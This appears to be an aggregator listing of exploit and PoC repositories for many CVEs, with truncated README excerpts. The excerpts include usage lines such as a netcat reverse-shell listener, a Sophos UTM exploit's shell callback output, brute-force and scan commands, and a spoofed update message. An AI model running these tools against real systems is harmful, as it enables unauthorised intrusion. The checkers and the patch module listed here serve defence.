wp-allowed-hosts

WP Allowed Hosts 该插件是在已知漏洞CVE-2017-8295被披露后创建的，该插件将保护您免受该攻击，无需麻烦，只需在您的wp-config.php中添加简单的一行即可。 安装 只需从此处下载插件并上传到您的网站。 使用方法 只需将以下行添加到您的wp-config.php中 root@kitploit: // WP Allowed Hosts Plugin define 'WPALLOWEDHOSTS', 'mysit.com' ; 您也可以添加多个域名。 root@kitploit: // WP Allowed Hosts Plugin define...

Sudo-Privilege-Escalation-Linux-CVE-2025-32463-and-CVE-2025-32462

⚠️ CVE‑2025‑32463 和 CVE‑2025‑32462 – Linux 中 Sudo 权限提升漏洞 🧠 简要总结 2025 年 7 月，sudo 工具中新披露的两个漏洞——CVE-2025-32463 和 CVE-2025-32462 ——使众多 Linux 发行版面临风险。其中更为严重的 CVE‑2025‑32463 的 CVSS 评分为 9.3 ，可实现本地权限提升 并可能导致系统完全沦陷。漏洞利用代码已在野外出现。请尽快 修补。 🔍 什么是 Sudo？ sudo 是几乎所有 Unix 系统上的核心工具，允许用户以另一个用户（通常是 root）的身份运行命令。它是...

CVE-2019-3394

Este repositorio no tiene un README...

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

项目目标：演示针对易受攻击的WordPress安装的完整攻击链，利用CVE-2021-29447（媒体库中的XXE）实现远程代码执行并完全攻陷系统。 阶段1：侦察与信息收集 使用Nmap进行网络扫描： bash 快速SYN扫描发现开放端口 nmap -sS -T4 10.201.3.95 详细的版本和脚本扫描 nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initialscan 结果： text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open ht...

VanCleef

VanCleef Manipulación de parámetros web en Rancher 2.1.4 CVE-2019-11881 root@kitploit: ./vancleef.rb rancherip rancherport messagetodisplay double-quoted Example: ./vancleef.rb 192.168.0.1 8080 "Rancher is outdated. Please update following the instructions at http://192.168.0.25/rancher-updating"...

lblfixer_cve_2023_30839

LabelGrup Networks，官方 PrestaShop 合作伙伴 适用于 PrestaShop 1.7.8.9 的模块，用于修复 CVE-2023-30545、CVE-2023-30838 和 CVE-2023-30839 漏洞 更多信息请查看以下链接： CVE: https://nvd.nist.gov/vuln/detail/CVE-2023-30545 CVE: https://nvd.nist.gov/vuln/detail/CVE-2023-30838 CVE: https://nvd.nist.gov/vuln/detail/CVE-2023-30839 GitHu...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd 3.2.8.1 后门命令执行 UnrealIRCd 3.2.8.1 后门命令执行漏洞，Python 3 利用脚本（CVE-2010-2075）。 描述 UnrealIRCd 3.2.8.1 版本包含一个特洛伊木马，允许远程攻击者执行任意命令（CVE-2010-2075）。 我参考了 Metasploit 的载荷 payload/cmd/unix/reverseperl 来编写此脚本。 用法 在监听主机上启动 Netcat 监听器： root@kitploit: nc -lp 4444 执行脚本，提供以下位置参数： root@kitploit: python3...

Bluekeep-Hunter

Bluekeep-Hunter CVE-2019-0708 这将使用metasploit模块来扫描并检查是否存在CVE-2019-0708。 其目的是检查并确认组织中的计算机是否真正存在漏洞，而不是简单地检查版本或其他未满足的参数。此检查器解决了该问题。它将搜索和利用漏洞，只需从IT经理处获取IP列表。这使得安全部门的工作量减少了10倍。迄今为止，针对Active Directory最常见的攻击是EternalBlue。 安装和使用： 要安装，请克隆此仓库。 cd Bluekeep-Hunter chmod +x bluekeephunter.sh ./bluekeephunter.sh...

MagiskEoP

简介 这是 Magisk 应用中一个针对漏洞 CVE-2024-48336 的利用程序，允许本地应用在未经用户同意的情况下静默获取 root 权限。 该漏洞最初由 @vvb2060 报告，并由 @canyie 编写了 PoC。该漏洞已在 Canary 27007 版本中修复。 利用此漏洞静默获取 root 权限并向任意应用授予 root 权限的演示视频：https://github.com/canyie/MagiskEoP/blob/main/screen-20220302-093745.mp4 复现此漏洞的步骤： 1. 在没有预装 GMS 的设备上安装存在漏洞的 Magisk 应用构建...

Log4j-PoC

Log4j（CVE-2021-44228）的概念验证 免责声明 本项目仅用于教育目的。 简介 这是改编自 HyCraftHD 的 log4j RCE 概念验证。 以下是一些关于 CVE-2021-44228 的链接： https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit PoC de RCE no autenticada para XWiki SolrSearch CVE-2025-24893. Ejecución de comandos + shell inversa. CVE-2025-24893 – XWiki SolrSearch RCE PoC Prueba de concepto para la inyección de plantillas SolrSearch de XWiki que permite la ejecución remota de código sin autenticació...

Ghost-CMS-Exploit

Ghost-CMS-Exploit Ghost-CMS Exploit 是一个 Python 脚本。该脚本首先使用提供的字典文件执行暴力破解认证尝试。如果找到有效凭据，它将继续检查 CVE-2024-23724 漏洞，并在存在漏洞时生成漏洞利用载荷。 要求： 1. 已安装 Python 3.x 2. 安装所需库：pip install requests 3. 在脚本所在目录中提供 boilerplate.svg 文件（用于生成漏洞利用载荷） 4. 用于用户名和密码的字典文件 用法： root@kitploit: python3 ghost-cms.py -U userlist.txt -...

Zurmo-Stable-3.1.1-XSS-By-Provensec-LLC

Zurmo-Stable-3.1.1-XSS-By-Provensec-LLC Zurmo-Stable-3.1.1 跨站脚本攻击 XSS 分配的 CVE 编号: CVE-2017-7188...

Moodle-authenticated-RCE

Moodle 4.4.0 - 已验证远程代码执行 CVE-2024-43425 漏洞利用 CVE: CVE-2024-43425 受影响版本 Moodle 4.4 至 4.4.1 Moodle 4.3 至 4.3.5 Moodle 4.2 至 4.2.8 Moodle 4.1 至 4.1.11 描述 该漏洞利用针对上述 Moodle 版本中已验证的远程代码执行（RCE）漏洞。它允许拥有有效凭据的攻击者通过利用不安全的题库编辑功能在服务器上执行任意命令。 使用方法 1. 克隆或下载此仓库。 2. 安装所需的依赖项： root@kitploit: pip install -r...

sophucked

sophucked CVE-2020-25223 RCE PoC，获取反向 Shell。无需认证。快速实现，以统一一些威胁磁铁。 使用示例： root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 在端口 80 上启动处理程序 + 发送回调至 x.x.x.x:80 + 来自 x.x.x.x 的连接 + 弹出你的 Shell！ bash: 此 Shell 中无作业控制 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id...

CVE-2015-57115

CVE-2015-57115 Comprobador Masivo Para CVE-2015-57115 Descripción El script verificador CVE-2015-57115 es una herramienta en Python para detectar vulnerabilidades relacionadas con CVE-2015-57115, que es una vulnerabilidad de traversal de rutas en ciertas aplicaciones PHP. El script comprueba...

DVR_Sploit

DVRSploit 用于自动化 CVE-2018-9995 的简单 python3 脚本 依赖项：requests pip install requests 用法： root@fuckmachine: python3 dvrsploit.py 输入 DVR 主机：192.168.69.69 输入 DVR 端口：88 设备列表：...

QuarkPoC

QuarkPoC iOS应用程序，实现CVE-2024-27804...

Am-I-affected-by-Meltdown

我是否受到 Meltdown 影响？！Meltdown CVE-2017-5754 检查器 我是什么？ 概念验证 / 漏洞利用 / 检查系统是否受到变体 3：恶意数据缓存加载（CVE-2017-5754），又名 MELTDOWN 的影响。 其基本思路是让用户了解当前运行的系统是否已通过 KAISER 补丁集（https://lkml.org/lkml/2017/10/31/884）之类的方案正确修补。 目前仅适用于 Linux 它是如何工作的？ 它通过 /proc/kallsyms 查找系统调用表，并检查通过利用 MELTDOWN 找到的系统调用地址是否与 /proc/kallsyms...

ids_bypass

Disclaimer These programs is for Educational purpose ONLY. Do not use it without permission. injectserver: Proof-Of-Concept for CVE-2018-6794. If as a server side you break a normal TCP 3 way handshake packets order and inject some response data before 3whs is complete then data still will be...